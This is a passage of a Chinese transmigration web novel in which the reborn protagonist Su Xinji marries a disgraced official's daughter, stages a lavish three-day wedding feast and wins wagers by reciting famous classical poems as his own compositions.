“你爹一身武艺高强,原本是苏家二代中最出息的,从军一路当上了正五品千户,可自打他出了事儿,你爷爷便不同意子孙习武。不过娘可以去找找你爹的好朋友,如果他肯教你,那自然是可以偷偷习武的。”见到儿子一脸期待,林沐芳担心儿子期望太高,后面不成事儿又失落,便道:“不过习武需要天赋、根骨,你已经错过了习武的最佳年龄,娘也不指望你能学成什么名堂,能锻炼锻炼身体就行,咱们苏家的男人还是要考取功名的。”
“娘,我明白。”
第六章 苏辛集的态度
这个世界跟现代不同,有很多习武修术,三教九流,江湖宗门。苏辛集前世过劳猝死,太清楚一个好身体的重要性了,没有前面这个一,后面就算是加再多零也没有意义。
林沐芳一拍脑袋:“你看看我倒是忘了,集儿,我听说你未过门的媳妇就会舞刀弄枪,她娘好像是江湖宗门中人,她要是肯教你,肯定比一般师父强。”
“这么厉害啊……”
同一时间,在一个庄严的厅堂中,进行着一场特殊议事。
在场的人衣着华贵,气质非凡。
“嫣儿能嫁入苏家,也算是不幸中的万幸了。”
“只可惜,那小子是个痴呆。苏家这一手,多少有些不厚道啊。”
“也未必是坏事,跟个傻子在一起,倒是方便我们行事了。对了,老谢那边……”为首的男子看向旁边的老者。
“这一路上,我都打点好了,老谢不会受苦。可恨严阁老做了那么多腌臜事,竟然还能活蹦乱跳。这么一闹腾,咱们也没办法参加嫣儿的婚礼了。”
为首的男子摆了摆手:“放心,苏家这点格局还是有的,他们不会让人挑理的。”
确实,一大早,苏家的青砖白墙周围,已经披红挂彩。
今日,是苏家三房苏辛集大婚的日子,别看苏辛集在苏家不受待见,这桩婚事毕竟是圣上御赐,谁又敢怠慢?
屋檐下,硕大的红灯笼老远就看得见,门上贴着红色喜联,就连茅厕旁的枣树上都挂着红花。只是苏家的人情绪都不太高。傻子配罪女,想想都觉得是个笑柄。
能真心面对的,恐怕也只有苏辛集的亲娘了。
此时,苏家的灶房。林沐芳站在灶台前,指挥着妇人们做糕点,蒸花馍。
院子里香气四溢,老远就能闻得到。林沐芳看着铁锅热油翻滚,金黄色的麻花沙沙作响,这才满意的往外走。
院角,临时垒的土灶上,半扇猪肉在沸水里起伏,这些都是老爷子亲自吩咐的,饶是大房、二房,也不会在这方面玩心思,毕竟苏家在山阴县也是有头有脸的人家,不是普通农户,再者,圣上赐婚,即便谢嫣儿是罪臣之女,谁也不敢在婚宴筹备上做文章,要是不够体面,那打的可是圣上的脸面。
二房家的看到这热闹,还不暗暗跟自家男人吐槽,这傻子苏辛集的婚礼这般体面,比她当初嫁入苏家风光多了。苏家二老爷苏富冷笑了下:“头发长见识短,这事儿你还要跟他争?左右不过是他们一家子最高光的时刻,等咱儿子成了秀才,有你风光的时候!”
“也是,辛义他们两人已经过了县试!马上就要参加府试院试,成为新秀才,光耀门楣的肯定是我儿子!”
想到这心里,二房家的脸色好看了不少,这些年,苏富的药材生意越做越大,随着收入见长,何文香这个二房太太,愈发的跋扈,凡事都要争个高低。平日里对三房家的孤儿寡母,从不放在眼里,也就是在老爷子面前,还能勉强收敛一二。她的两个儿子,也是有样学样,经常欺负苏辛集这个堂弟,上次落水,也是这俩兄弟故意戏耍傻堂弟的。
只是谁也没想到,苏辛集落水后,脑子竟然开了窍。得到周夫子的赏识,成为入室弟子。这直接戳中二房的肺管子,苏富眼珠子一转,便出了个馊主意。把罪臣之女推给苏辛集,既受了隆恩,又不会耽误自家儿子的前程,一箭双雕!
苏富每每想到这些,就觉得大操大办这些,很是值得。
“都给我麻利点,迎亲的吉时是万万不可耽误的!”
苏富站在大门口,里里外外的张罗着,远近过来道贺吃席的,还只道苏辛集命好,父亲虽是没了,但大伯、二伯都对他疼爱有加。
山阴县的寻常农家摆婚宴,能见点肉腥很是难得,苏家今日摆了三十桌,每桌都是八盘八碗的牌面!
要知道,对方可是罪臣之女,其父亲谢允已经流放西北,女方家没什么亲眷,苏家能做到这般,实属不易。
恭贺的人一波接一波到场,真心道贺的少,等着看热闹的多。
花轿由远及近,苏家管家一声:“接新娘了!”
引得众人纷纷望去,待众人走到门口,场面顿时安静下来。
只有一顶孤零零的花轿,旁边一个五十多岁的老婆子,这就是全部人马了。
知道这是罪女出家,但也不至于如此寒酸吧?
赵嫣儿的母族,可都没被牵连,怎么一个人也没来?
哪怕是要从简,也得有些许嫁妆吧。送亲的人,就是一个老妈子,这是圣上御赐啊,还是说傻子就只配这样的婚礼么……
周围的人指指点点,不时有嘲讽声。
“太寒酸了!”
“只能说,此一时彼一时,要不是赵家落罪,这样的才貌双全的可人儿,怎么也轮不到苏家的傻子。”
“唉,我听说,苏家傻子被周夫子收为入室弟子了,也不知道是真是假?”
周围的议论声,苏辛集听到了,轿子里的谢嫣儿也听到了。
谢嫣儿眉头紧蹙。
一直以来,她都是谢家的掌上明珠,四岁能诗,七岁通音。十二岁便被书雅阁评为山阴县第一才女,才貌双绝。
这样的天之骄女,嫁给一个痴儿,心中的委屈可想而知。
可如今父亲被流放,自己一个弱女子,又有什么能力反抗?
苏辛集也知道,别人看不起,自己就更应该端着。他大声道:“进了我苏家大门,就是我苏辛集的媳妇,排场不能落!”
“我们苏家大摆三日流水席,无论什么身份,只要是真心来道贺的,都可以敞开吃!”
苏辛集就是要当中表态,圣上赐婚,我很重视,我苏辛集的媳妇,我自己宠着!
所有人大惊。
苏富更是气的胡子直抖,三日的流水席,这可都是白花花的银子啊!
偏偏,事关苏家颜面,他还不好拒绝。
山阴县刚遭了灾,只要传出去能白吃白喝,肯定全县的流浪汉都要来的。苏辛集还真是会当好人啊!
第七章 钱没了可以挣,排场必须有!
此声音落入谢嫣儿耳中,又是另外一番光景了。红盖头之下,谢嫣儿眼中划过一抹暖意。
“奏乐!”
苏辛集大喊,唢呐不断,锣鼓喧天。
“迎新娘喽!”
原本冷清的场面,立马变得火热,娶亲的气氛这下还真是有了。
前来围观的人,没想到苏辛集做事如此场面,对罪臣之女能如此礼遇,对他的看法不禁有所改观。
是啊,强者从不抱怨环境,总想着将当下做到最好。
“恭贺苏三少大婚!”
“恭喜三少!”
那些人心有所感,皆是高声祝贺起来。
苏辛集满意地冲着管家道:“这三日乐队不停,谁来咱们都大门敞开。有人奚落咱们,咱们自己不能瞧不起自己,就是要端起来给所有人看!”
管家看了一眼老爷子苏谅,见对方眼角含笑,似乎很是满意,便只能应承下来。
“三少爷放心,我们肯定安排妥当。不会落了苏家的颜面!”
要不是为了苏家的颜面,管家可不会听一个傻子摆弄。
谢嫣儿心中原本是有些怨怼的,听到苏辛集如此,这口憋着的气不由得散了些许。
不管怎么说,能做到这个份上,实属不易。
尤其赶上灾年,苏家想必也不宽裕,苏辛集如此,算是给足了谢家颜面。
苏辛集大步走向花轿,那随行的奶妈似乎是没想到苏辛集如此,略微有些惊愕,直到苏辛集到了眼前,这才道:“我是小姐的奶妈,此次得了圣上的恩典,跟随小姐出嫁。”
别家的陪嫁,少说也得两个丫头,几车财物,而这谢家的姑娘出嫁,只有一个老婆子,着实上不得台面,苏辛集并未在意,微微点头,“辛苦了。”
“请谢家小姐落轿!”
随着声音落下,乳母上前面掀开轿帘,谢嫣儿走了下来。她穿着的大红色的喜服,披着盖头,虽然看不到样貌,但看身材,却是高挑匀称极了。
苏辛集本想打横抱起,奈何原主这个身体,手无缚鸡之力。他直接上前,抓住了新娘的手,行入门礼。苏辛集这般,就是要向新娘表明态度,他并不嫌弃。
握紧纤纤玉手的瞬间,苏辛集明显感觉到对方微微一颤,不过没有抗拒之意。
苏辛集引着,走向苏家。
“新娘进门!”
“进门喽!”
苏辛集的几个表弟,年纪尚轻,倒是暖场小能手,扯着嗓子喊了起来。
府门之内。
火盆烧的正旺,谢嫣儿在乳母的搀扶下,稳稳跨过。堂内红烛喜馍,张灯结彩。十里八乡出了名的司仪拖着长腔:“一拜天地,感念圣上赐良缘!二拜高堂,养育之恩深似海!夫妻对拜,喜结连理共婵娟!”
林沐芳坐在上首,看着新人郑重叩拜,心中感慨万千。喜的是儿子终于成家立业,自己也算是对得起相公了,忧的是二房从中使坏,把罪臣之女推给儿子苏辛集,这往后即便儿子高中,怕也是一路坎坷。
想到这些烦心事,林沐芳接茶的手有些颤抖。
“娘,请喝茶!”
礼成!
苏辛集心中纵有千言万语,在这一刻都觉得苍白,他举起酒杯,大声道:“谢谢赏光,大家吃好,喝好!”
最简单的几个字,却铿锵有力,众人看得出,苏辛集是发自内心的。
众人见苏辛集如此场面,纷纷拱手,说着祝福的吉祥话。能来白吃白喝三天呢,说几句好听的怎么了,又不会掉块肉!
再说了,这可是圣上御赐,能来参加也是与有荣焉。
即便是心里有些想法,在这种场合,大家都收敛了几分。至少,表面上还是很客气的。
“多谢苏三少爷!”
这么看来,这位苏家三少爷也不像传说中那般不堪啊,这不是挺接地气的么?
莫非是有人故意抹黑?
场中气氛更是热闹了。
“苏家三少爷是个仁义孩子,知道谢家出了事,非但没有小瞧新娘子,反而如此郑重待之,可见其人品贵重。”
“谁说不是,我听说他的两位堂哥都未曾说亲,按理说,这婚事轮不到他,他这也算是为了家族挺身而出了。”
“这才是大家风范,这般对比,倒是显得其他两房格局小了。”
“慎言啊,仔细让苏富听到了,他可是最记仇的。”
“喝酒吧,来干杯!”
看着场中的热闹,苏辛集脸上满是笑容,这种热闹场面,还真是难得。这才是结婚应该有的样子。大家在一起乐乐呵呵的多好啊。
“来,咱们一起举杯,祝苏三少爷和谢家小姐百年好合!”
不知道谁喊了一嗓子,立即有不少人附和。
“来,苏三少爷,敬你一杯!”
见苏辛集如鱼得水的样子,苏文有些看不惯了,他把苏辛集拉到一边,低声道:“集儿,你说这场面摆一天也就罢了,三天,会不会太铺张了。”
“大伯,这婚姻乃是圣上御赐,谢家如此,咱们苏家更是要表现出大度。难道你想让圣上以为,咱们苏家有不满之处?”
“罪过罪过,你可休得胡言乱语。”苏文当然不敢公然说这些,这个侄子似乎真是与以往不同了。
以前单纯是蠢,如今却带着几分狂!
“集儿,你常年不怎么接触外面的事儿,不清楚如今灾年的艰难,咱们苏家的情况也没有表面那么乐观。所以咱们……”苏文换了个角度,想要劝侄子不要意气用事。
这流水席断然不能摆三天!
“大伯,你是说咱们苏家没钱?”
“对啊,你也不想被世人戳着脊梁骨说是败家子吧?”苏文见侄子领悟精髓,趁热打铁的说道。
苏辛集略微一怔,苏家竟然连这点钱都拿不出。
“钱嘛,身外之物,大伯,回头我可以出去挣,这话都说出去了,您和二伯当时也没反对,这要是贸然改变,恐怕会让人笑话我苏家出尔反尔。我苏家虽说算不上传世之家,但这积善的名声不能毁在咱们手上,您说呢?”
苏文嘴角一抽抽,我说个屁!挣钱那么容易么!
好话都让你说了,你小子是真能吹啊,自己几斤几两没数么,还你能挣,你会什么?
第八章 辛集兄,可会作诗?
“哎?新郎官,过来喝酒啊!”
见有人呼唤,苏辛集跟大伯苏文打了个招呼,便过去了:“来了,喝喝,大喜的日子,必须喝好!”
苏辛集声音不小,苏文总感觉他是说给自己听的。老脸不由得一红。
罢了罢了,反正家中是老二理财,他不说,老爷子乐的当好人,我又何苦给自己添堵呢?
自从重生来到这里,苏辛集就一直麻烦不断,家里这些人貌合神离,都有各自的小心思。苏辛集难得放松一下,自然是要喝个痛快。
“拿酒来!”
有人给倒满酒,苏辛集就开始挨桌子敬酒,这要是放在现代,新娘子也得陪着走一圈,苏辛集想起过了门的娇妻,心中一暖,嘴上说的更带劲了。
今日来的,都是山阴县有头有脸的人,有些年轻文人,如诗词大家李逸凡,诗君杜贺章,剩下的多是老一辈的秀才、童生。
这些人都是可以拉拢的对象,也算是人脉资源。
“来来,辛集兄,我给你介绍下,这位是孔令涛,出自孔家,儒家学派的传承人。这位是周兄,咱们县出了名的才子。他父亲在省城任职,这位就不用我多说了吧,周夫子的得意门生……”
苏辛集一一记下来。
这些人看到苏辛集的豪气,颇有些意外,所以也没了平日的酸腐气,对苏辛集多了几分尊重。
苏辛集端起酒杯,笑着道:“今日能来参加我大婚之宴的,都是我的朋友,贵人。我感谢大家赏光,废话不说,我先干为敬!”
“苏三少爷好酒量,我等奉陪到底!”
“干!”
苏辛集很清楚,舆论的力量,这么好的时机,他当然要打好关系。以前的苏辛集是过去时,他要让众人看到全新的苏辛集!
你来我往,推杯换盏。
苏谅看着孙子这般,心中再度想起了三儿子苏武,武儿,你地下有灵,也该安息了。你的儿如今长大成人,也算是能独当一面了。
苏谅觉得,苏辛集能为老苏家开枝散叶,自己也算是对得起死去的三儿子。至于考取功名,苏谅对这个孙子,反正是没抱什么希望的。
“苏三少爷,再来一杯!”
这个热乎场面,让苏辛尔彻底酸了。
什么玩意,就你能装!
见苏辛集醉醺醺的,苏辛尔朝着人群中的好友周文墨使了个眼色。
周文墨本就对谢嫣儿垂涎三尺,如今见到鲜花插在了牛粪上,即便是没有苏辛尔挑唆,他也要给苏辛集一点颜色瞧瞧的。
“辛集兄真是好福气,能得圣上恩典,娶了咱们山阴县第一美人。周某听闻,谢家小姐才貌双全,想必辛集兄也是文高八斗,学富五车,才能配得上如此佳人!如此良辰,不如咱们作诗庆贺?”
放眼山阴县,谁不知道苏辛集是个智障,根本就没读过书?
现在让他当众作诗,绝对是故意刁难。
可偏偏大家都好这口,文人墨客,最是喜欢附庸风雅。
那些对苏辛集有些改观的人,听说后也开始摩拳擦掌。
“是啊,如此好兴致,不如咱们就来随便来几首应景的诗词?”
“甚好,不过终究今日新郎官最大,不如咱们让新郎官先来?”周文墨把皮球顺利踢到了苏辛集面前,要是这小子不会,那就可以趁机踩两脚,也算是出了口恶气。
“这……”
苏辛集迟疑了下,见他如此,周文墨更得意了,笑着道:“辛集兄,你这个新郎官可不能说不会哦!”
苏辛集扶额,他怎么可能不会?
就是担心风头出的太大,让在场的这些诗君才子自惭形秽。毕竟,自己不出声则已,出声注定是要一鸣惊人的!
“我看,大家就随便来几句,不要为难辛集兄了。”儒家出身的孔令涛为人谦和,见苏辛集面漏难色,于心不忍的替他说了句。
“哦?不会?我听说苏老爷子是最重视子嗣教育的。”说到这里,周文墨看向苏家兄弟:“辛尔兄,辛集兄是你堂弟,你自然是了解的,我且问你,他可会做诗?”
苏辛尔就等着看苏辛集出丑呢,这会子机会来了,自然是要落井下石的。只是面子上还得演一演,苏辛尔期期艾艾的看了一眼父亲的方向,这才扭捏道:“诸位,我这位弟弟,本是聪慧,只可惜那年伤了脑子,落下了隐疾,并未曾开蒙,如今是我们苏家大喜之日,还望诸位海涵。不要难为我这弟弟了!”
苏辛尔一副好二哥的样子,倒是悄悄装了一把。
听到这话,苏辛集冷哼一声:“作诗何难,我会!”
众人一阵哄笑,都以为苏辛集是打肿脸充胖子。
“好,既然辛集兄如此自信,不如便现场作诗一首,也让诸位乡亲品评一番如何!”
好不容易有“正名”的机会,苏辛集自然不会错过,他嬉笑着道:“刚才二哥说了,今日是我苏家大喜之日,这诗文可以做,只是要有些彩头才好,文墨兄,你可敢与我一赌?”
赌?
周文墨冷哼一声,周围人更是哄笑不已。
实锤了,这小子脑子确实有病,而且病得不轻。
可惜了谢家丫头,多才多艺竟然要与这傻子共度一生。
苏辛集自是知道,大家话里话外地奚落。他笑眯眯的,一点也不恼。反正嘴巴长在你们身上,要笑要哭,我也管不了,但是,我苏辛集可不是这么好拿捏的,你们要看笑话,没问题,我能表演,但是得收费!
“就赌一锭银子!”
周文墨倒是很自信,从袖子里摸出一锭银子:“倘若你做不好呢?”
“呵,那我便给你两锭银子。”苏辛集自信地道。
众人眼睛一亮,都觉得这是个赚钱的好机会。
“且慢!”周夫子的得意弟子温长丰站了起来,笑眯眯地道:“前几日听闻师傅收了新弟子,我这个大师兄今日来贺喜,碰上这等趣事,自然是要掺和上一手,给小师弟助助兴!”
大师兄温长丰拿出一锭银子,拍在桌子上。
没错,他就是故意的!
第九章 语惊四座
大师兄温长丰心思也简单,只要事情闹大,证明苏辛集是个草包,那师傅自然也就不会对他另眼相待了。自己在周夫子门下,苦读数十载,才成为入室弟子,凭什么这个脑残只是走了个过场,就被师傅另眼相待?
“同来同来!”旁边安家的大少爷安世谦笑呵呵道:“可要是苏三少爷文采不佳,你可是要给我们双倍的哦。”
安世谦倒是跟苏辛集没什么过节,单纯就是因为他爱慕谢嫣儿已久,现在见嫣儿嫁给了苏家的傻子,心中不忿,这才跳出来砸场子,算是出口恶气。
老爷子苏谅脸都黑了,苏辛集是个什么样的人,他心里最清楚,眼瞅着孙子被人当成智障耍弄,心里很不是滋味。
大师兄温长丰是山阴县同龄人中的翘楚,安世谦是世家子弟,背后代表的是两方势力,即便是苏老爷子,也不好过多插手。他倒是不是在意碎银几两,而是在意苏家的颜面,经此一闹,苏辛集的痴呆名头,算是彻底坐实,苏家脸上也没光啊。
苏辛集却没当回事,他心里都乐开花了,对他这个古文学专业的高材生来说,作诗算得了什么难事?他巴不得全场所有人都下注呢!
“还有没有,一首诗,一锭银子,要是做不出,我苏家赔付双倍。要参与的赶紧参与,别犹豫,我们苏家还能赖你们的银两不成?”
苏富被气得浑身发抖,这小子还真敢说,一会儿要宴客三日,一会儿要跟人斗诗,真当家里的钱是大风刮来的不成?
只是今日老爷子、大哥都在场,还有十里八乡的亲戚,苏富即便是心里有气,也不会做拆台打脸的事情。只能任由苏辛集胡来,能借这次机会,让老爷子对三房彻底断了念想,也是好事。到时候把三房得到的抚恤金要来,那不就都有了?
想到这一层,苏富脸色微微好了些许。
这么一闹腾,苏家更热闹了。此刻林沐芳满心懊恼,她以为儿子的脑疾好了,还在丈夫灵位前念叨老天有眼,现在看来,儿子根本就没好,似乎又加重了许多。
苏辛集根本没时间关注母亲的想法,他一口一个叔叔、伯伯、大哥的叫着,多数人开始还想着做人要厚道,不要在人家伤口撒盐,可看苏辛集这般主动送银两,又觉得不挣白不挣,纷纷参与进来。可悲的是,偌大的山阴县,竟然没人押苏辛集会作诗。
林沐芳眼瞅着没人相信儿子,终究不忍,拿出两锭银子,道:“集儿,无论你成什么样,永远都是妈的好儿子,妈相信你。”
苏辛集还有些不情愿,挤眉弄眼的看着林沐芳,见母亲坚持,才勉强同意押注。
确定能下注的都押了,苏辛集清了清嗓子:“诸位,请出题吧。”
众人面露喜色,都等着看笑话,赚银子呢。
周文墨开口道:“今日是辛集兄大婚,你可以作诗一首,抒发你对谢小姐的爱慕,一刻钟的时间,若是做不出,那便算你输了!”
众人一阵嗤笑,表面看要求不多,但对于一个傻子来说,那就是故意刁难了!
谁不知道,苏家三少爷文不成,武不就。还爱慕之意,他懂毛线的爱情!
“哈哈,文墨兄,我这个弟弟吃饭是可以的,要说作诗,那就太勉强了。”苏辛义笑着道。
“爱情诗?”苏辛集微微蹙眉:“只是这一个要求?”
苏辛集没理会话里有话的大哥,开口询问道。
“五言七言皆可,也没有什么其他限定。”周文墨自信的点头,就这你也不行啊,到时候做不出来,也别说我故意刁难,你自己不中用,赖的了谁?
“那这样的话,用不了一刻钟,我这就可以!”苏辛集很轻松,抒发爱情的诗太多了,他随便就能作出来。
“好大的口气!”周文墨嗤之以鼻。
“话不要说的太满!”
“这爱情诗虽不算难,但若想让人共情,也需要精心雕琢。”
不少人对苏辛集如此自大的表现,看不顺眼。
“井底点灯深烛伊,共郎长行莫围棋。玲珑骰子安红豆,入骨相思知不知。”
苏辛集脱口而出,没有任何犹豫。
正准备开口奚落的周文墨猛然一怔,其他人似乎也是没反应过来。
“你再说一遍!”温长丰难以置信的开口道。
是自己背的太熟?
苏辛集有些无语,放在现代,随便一个七八岁小孩,都会背的,看来,还是高估这帮人了。
苏辛集这次调整了下语速,“井底点灯深烛伊,共郎长行莫围棋。玲珑骰子安红豆,入骨相思知不知。”
“共郎长行莫围棋,我盼着和你相守一生、永不分离,千万不要像围棋那样违期,别让我空等,别违背我们相伴的约定。民间谐音双关,直白又含蓄,尤其是最后两句,玲珑骰子安红豆,入骨相思知不知。男子的深情与忐忑表现得淋漓尽致。”诗词大家李逸凡呢喃道,“好诗,好诗啊。”
其他人的反应,跟李逸凡差不多。
众人你一言我一语的讨论,气氛愈发活跃了。
苏辛集有些惊愕:“这,至于么?”
“这是你作的?不会是从哪里抄来的吧?”周文墨满面狐疑,明显是不相信。
话音落下,不少人开始附和。
是啊,这么唯美的爱情诗,怎么能是个傻子作的?
“就是我做的,有何不妥?”
“你若是能作出这么好的诗,我就,我就爬着出门!”
一个出了名的傻子,怎么可能突然会作诗?
“你有什么证据,证明不是我作的?”
周文墨一怔,他确实没证据。可他也不傻,接着反问:“你又如何证明,这是你作的?”
苏辛集冷哼了一声:“文墨兄,你怎么证明,你爹是你亲爹?”
众人闻言,一阵嬉笑。周家传闻甚多,关于周文墨其实是他妈和马夫苟合的私生子,不少人都传的有鼻子有眼,现在被苏辛集当众质问,周文墨的脸顿时涨得通红。
第十章 够了么?
“你!”周文墨气的浑身都在抖:“你这就是无理取闹!”
“你也知道是无理取闹啊。”
“其实,想要证明也很容易。”苏辛尔见周文墨吃瘪,站出来道:“三弟,你可以再作一首,这样诗文,想必若是找人代做,也不容易吧。”
苏辛集故作为难:“二哥,刚才可是说好的,一锭银子一首诗。”
见苏辛集面露难色,苏辛尔心中大喜,以为他是江郎才尽,刚才那首不知是从哪里抄来哄骗新娘子的,这会儿傻小子是肯定没有第二首的。想到这一层,苏辛尔拿出一锭银子:“不妨,我再赌一局。”
周文墨一听,也拍出一锭银子:“你再作一首,我就不信了!这次的要求是,诗中不能出现情、爱、相思等字眼,但要表达出对新娘子的爱慕!”
不少好事儿的,纷纷掏了银子,继续下注。
苏辛集双手背后,往前走了几步,似是在沉思。
“曾经沧海难为水,除却巫山不是云。取次花丛懒回顾,半缘修道半缘君。”苏辛集声音阴阳顿挫,这次所有人都听得真切。
“这?七步成诗!”
诗君杜贺章激动了,“全诗确实没有提到情,爱,但是去能让人知道这是写了对另一半的深情,曾经领略过苍茫大海的壮阔,此后再见到其他的水,都难以称得上是水了;曾经见过巫山云雾的绝美,除此之外,其他地方的云都算不得真正的云;即便随意走过百花盛开的地方,我也懒得回头看一眼,你的美好,令世间万物都黯然失色。此处“花丛”隐喻女子,甚好!”
诗君?
苏辛集不由得多看了两眼,这份见解确实有独到之处,看来杜贺章绝非浪得虚名之辈。
“的确,这确实当得起爱情诗的传世佳作。”
李逸凡声音平和,让人如沐春风。遇到好诗,真心喜欢诗的人激动之情,溢于言表。
苏辛尔一怔,这小子真的会?
这样的爱情诗,确实是前无古人啊!
也没听说谁能七步成诗,脱口而出啊。就算是请人代笔,这么短的时间,他也无处可寻这般能耐的人啊。
苏辛集看出众人的惊诧,索性接着道:“关关雎鸠,在河之洲。窈窕淑女,君子好逑。参差荇菜,左右流之。窈窕淑女,寤寐求之。”
“又是一首!”
“这……”
饶是见过世面的苏老爷子,都有些呆了,刚才那两首已是精妙,还没品完,又是一首传世经典啊。
此刻,老爷子哪有上位者的气势,如同孩子一般手舞足蹈:“集儿,你可还有?”
苏辛集点头:“愿执卿手共晨昏,柴米油盐亦暖温。纵使风霜催岁老,初心不改共星奔。”
“好!好一个愿执卿手共晨昏!虽然不是轰轰烈烈的承诺,但是融入朝夕的陪伴,才更是笃定的爱情!”
也许只有到了苏老爷子这个年龄,才能真正体会,一生相伴多么难能可贵,爱情最好的样子不是轰轰烈烈,而是和你把柴米油盐过成温暖,把岁月风霜走成比肩,初心不该,方得始终。
苏谅作为一家之主,表现的有些失态了。
“哼!”
苏辛义、苏辛尔两兄弟见到苏辛集出风头,神情颇为不屑。
周围众人都有些麻木了,四首啊,莫非这个傻子,在作诗方面有些偏才?
就在众人心里犯嘀咕的时候,苏辛集又是张口即来:“伫倚危楼风细细,望极春愁,黯黯生天际。草色烟光残照里,无言谁会凭阑意。拟把疏狂图一醉,对酒当歌,强乐还无味。衣带渐宽终不悔,为伊消得人憔悴。”
什么?
这是词!
“竟然连词也会作!”
众人沉浸其中,无法自拔。
“诸位,这些够了吧?”
苏辛集的声音,将众人的思绪拉了回来。
“够了够了。”
大师兄温长丰连连点头,似乎明白夫子为何要收苏辛集为入门弟子了,如此天赋,假以时日,必成大器。
“终不悔……”
红盖头下,谢嫣儿黛眉微蹙,轻声呢喃道,“希望日后,你能始终无悔吧。”若不是亲耳所闻,她是无论如何都不敢相信,苏辛集有这等才华和心智。
“好!衣带渐宽终不悔,为伊消得人憔悴,辛集兄,这份终不悔的执着,似是超越了爱情的范畴,有对心上人的坚守,似乎也有对理想和信念的无悔追求,这句,绝对是传世佳句啊!”
“不,在下看来,辛集兄的四诗一词,各有千秋,都是传世精品!”
不知不觉的,众人接二连三的发出感叹。
苏家大院,回音不绝,不少人都面露陶醉之色,这句子意境太美,让人迷醉……
一首好诗,需要用心感悟,那份意境,慢慢才会跟诗人共情。众人渐渐感受到诗中的韵律和其中暗藏的情绪,被诗文的魅力所吸引。
这四诗一词,绝对是抒发爱情的传世佳作!
此刻,不远处的街道拐角,有几个脑袋探了出来。眼瞅着苏辛集赢的满堂喝彩,几个年轻人都面露鄙夷之色。
这些人都是山阴县有名的浪荡公子,平日里也喜欢欺负苏辛集,如今苏辛集娶到了全县公认的一枝花,这让大家有些难以接受。
“这家伙还真能整事儿,也不知道从哪里糊弄的诗词!”
其中一个青衫男子,咬牙切齿的说道,此人名叫邓明光,也在周夫子门下读书,只是读了五年,依旧是个外门子弟。那一日,苏辛集只凭三言两语,就得到周夫子的认可,成了入门底子,邓明光心底别提多不是滋味了。
“苏辛集如此高调,还真以为摊上幸事了?真是可笑!”
嘴上这样说,其实几人都明白,苏辛集这般做,恰好是化解了尴尬,让所有人都知道,他对圣上赐婚非常满意。
“要不咱们也进去瞧瞧热闹吧?我爹也在里面呢!”
“是啊,邓兄,咱们要不进去找机会闹腾一番,让这傻小子知道,周夫子的入室弟子,可不是那么好当的。别以为御赐成婚,就是圣上垂青了,他娶的可不是公主,不过是个罪臣之女!”
第十一章 白鹿洞书院春考名额
邓明光岂会听不出小伙伴的蛊惑之意,只是心里是在咽不下这口气。
“这……”
邓明光一时不知该如何是好,面露难色。
如果是以前,做也就做了。今日不同,他听说苏辛义俩兄弟最近都在苏辛集手里吃了瘪,没讨到半分便宜。如今这个节骨眼,苏辛集七步成诗,出尽风头,有的是人看苏辛集不顺眼,自己又何必非得当这个出头鸟?
“不过是娶了个罪臣之女,得罪阁老大人,他还当成是荣耀了,咱们没必要跟他一般见识!这个苏辛集张口就是三天流水席,如今大荒之年,他们苏家摊上这么个败家子,有的是人想要收拾他!”邓明光说道。
“也是,我等自是等着看热闹便是。”
几人都觉得邓明光说的有道理,实际上都不想当出头鸟,只是不好意思承认罢了。
“我听说,三房当年为国捐躯,国家给了不少抚恤金?”
“好像是有一千两银子,不然苏家能收留这个蠢货?这次如果真的大摆三天流水席,苏家肯兜底还好,要是不肯,他爹那点抚恤金都不一定够呢!”
“只怕是不肯的,苏富是个爱财如命的,女儿都不舍得送私塾读书识字,怎么可能掏这个冤枉钱!”
“哈哈,这次恐怕是难拒绝,苏辛集这小子算是把苏家架在火上了,苏家那帮人嘴上不说,心里能不恨他么。”
几个人越说越得意,都觉得苏辛集这般行径,肯定逃不过苏家人的挤兑欺辱。
苏府。
数个回合下来,已经无人质疑苏辛集作诗的能力,苏辛集这才嘿嘿一笑,冲着周围抱拳:“各位长辈,承让了。愿赌服输,这银两小子却之不恭昂。”
见众人沉默,苏谅百感交集,他看着苏辛集的背影:“我的好孙儿,你这是开窍了昂!”
林沐芳更是红了眼眶,“祖宗显灵,老天保佑,孩儿他爹,你看到了么,咱们集儿可是会吟诗了!”
“……”
苏辛集有些无语,这些跟祖宗显灵有啥关系?
苏谅看了一眼大儿子苏文:“老大,你可都记下了?”
苏文回过神,尴尬的望着老爹苏谅:“刚才太精彩,我忘了记下。”
苏谅无奈的叹息,大儿子这般愚钝,一个秀才都考了二十年,举人终究是无望了。想到这里,苏谅看向孙子苏辛集:“集儿,你来爷爷这儿。”
正在暗戳戳计算收益的苏辛集连忙跑到爷爷身边,露出一口小白牙。
“爷爷,您找我?”
“集儿,我且问你,这些诗文都是你做的?”
“呵呵,爷爷,你可曾听别人吟诵过?”苏辛集脸不红心不跳的反问道。
“虽未记全,但这意境却是极好的。即便是国子监中的翘楚,也未必能够七步成诗。若这些都是你一人所做,未免太过骇人听闻。”苏谅还是不敢相信,傻孙子有这般能耐。
“爷爷,这些真的都是我想出来的。”
事到如今,苏辛集也不谦虚了。
没错,我就是白嫖狗,你们能拿我怎么样?
苏谅一脸疑惑,可又拿不出什么证据,这些诗文,他之前确实未曾听闻。这真是颠覆认知了,苏辛集即便是开窍了,没有经历那般情爱,是怎么做到出口成章的?
说不定真的是开窍了也未可知,想到这里,苏谅似是下定决心:“集儿,先成家,后立业的豪杰比比皆是,我想如今你既然在作诗上有些天赋,就跟着周夫子好好学习,等白鹿洞书院春试,你去试试!”
“呸,我不信!爷爷,他就是骗人的。”苏辛尔见爷爷似是相信了,有些沉不住气,上前指责道:“这些诗文好归好,但风格明显不一,你肯定是抄袭的!”
苏辛集早有防备,笑着道:“二哥,你说我抄,可有证据?你是见过谁吟诵过,还是说你也做得出?这万物有灵,诗词更是如此,平时想的多了,念的多,那自然是能够信手拈来。诗文讲究押韵,不一样的主题,感悟自然不同,就如同这桌上的饭菜,四季变换,时令蔬果各不相同,这才组成了美味佳肴。你只说这诗文能否应景便是!”
苏辛尔一怔,这诗文确实无可挑剔,扣题应景,虽然是不愿承认,但苏辛尔清楚,能七步成诗,即便是整个山阴县,也找不出一个。可不管怎样,白鹿洞书院的考试名额,不能给他!
苏辛尔攥紧拳头,心中的怒火即将吞没他的理智。
“呵呵,恭喜苏老爷,家中出了文曲星,日后说不定能出个状元郎呢!”
恭维的话,让老爷子苏谅眼中多了些许光芒。儿子们是没多少希望了,兴许孙子中真有人能光耀门楣呢……
眼瞅着喝的差不多了,苏辛集冲着众人拱手:“诸位,我确实不能再喝了,一会儿还得洞房!”
